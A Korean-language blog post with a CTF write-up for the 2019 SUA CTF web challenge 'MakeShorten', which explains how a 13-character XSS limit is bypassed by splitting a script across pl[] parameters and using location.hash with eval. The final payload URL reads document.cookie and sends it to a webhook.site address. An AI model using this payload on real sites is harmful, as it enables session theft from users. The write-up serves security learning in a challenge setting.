ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [WEB] MakeShorten
    CTF write_up/2019 SUA CTF 2019. 8. 26. 00:57

    문제 사이트에 들어가 보면 다음과 같은 사이트를 확인 할 수 있다.

     

    http://49.247.206.35/MakeShorten/index.php~ 를 들어가 보면 소스코드 backup 파일이 있습니다.

     

    위의 소스코드를 한번 해석해 봤습니다.

     

     

    pl 파라미터에 여러개의 데이터를 전송할 수 있고, pl 파라미터를 통해서 input tag에 총 13글자만큼 XSS가 발생할 수 있습니다.

    그래서 pl 인덱스당 13글자씩 입력이 가능합니다.

     

    그래서 Location based XSS attacks 와 13글자를 이용해서 값을 넣어 보겠습니다.

    http://www.thespanner.co.uk/2008/12/01/location-based-xss-attacks/ 해당 사이트를 참고 했습니다.

     

    다음과 같이 스크립트를 잘라서 넣을 수 있습니다.

     

    pl[0]="><script>`

    pl[1]=`;a='locat';`

    pl[2]=`;a+='ion';`%99

    pl[3]=`;a+='.ha';`%99

    pl[4]=`;a+='sh.';`%99

    pl[5]=`;a+='sli';`%99

    pl[6]=`;a+='ce(';`%99

    pl[7]=`;a+='1,)';`%99

    pl[8]=`;a=eval(a);`

     

    위처럼 13글자를 지켜 가면서 tag를 닫고 열어주거나 location 같은 문자열을 나눠서 넣어주면 값을 전송 할 수 있을 것 같습니다.

     

    최종 페이로드는 아래와 같습니다.

     

    http://49.247.206.35/MakeShorten/?pl[0]="><script>`&pl[1]=`;a='locat';`&pl[2]=`;a+='ion';`%99&pl[3]=`;a+='.ha';`%99&pl[4]=`;a+='sh.';`%99&pl[5]=`;a+='sli';`%99&pl[6]=`;a+='ce(';`%99&pl[7]=`;a+='1,)';`%99&pl[8]=`;a=eval(a);`&pl[9]=%99`</script>#a=document.cookie;b='http://webhook.site/fccd5a23-2949-407b-ad46-af9056cc7879?';locationb.concat(a);

     

    webhook 때문에 아마 위의 URL로 들어가셔도 아무것도 출력되지 않습니다.

     

    이런 좋은 문제를 출제해 주신 POSIX 님께 감사의 말씀을 전합니다

     

    https://p.osix.kr/xss-cheatsheet/

    문서에 엮인 레퍼런스를 살피시면 도움이 될것 같습니당

     

     

     

    'CTF write_up > 2019 SUA CTF' 카테고리의 다른 글

    [Forensic] Ultimatum  (0) 2019.08.16
    [Forensic] Forensic1  (7) 2019.08.16
    [MISC] Escape_Room  (0) 2019.08.16
    [Crypto] BaseXX  (2) 2019.08.16

    댓글

Designed by Tistory.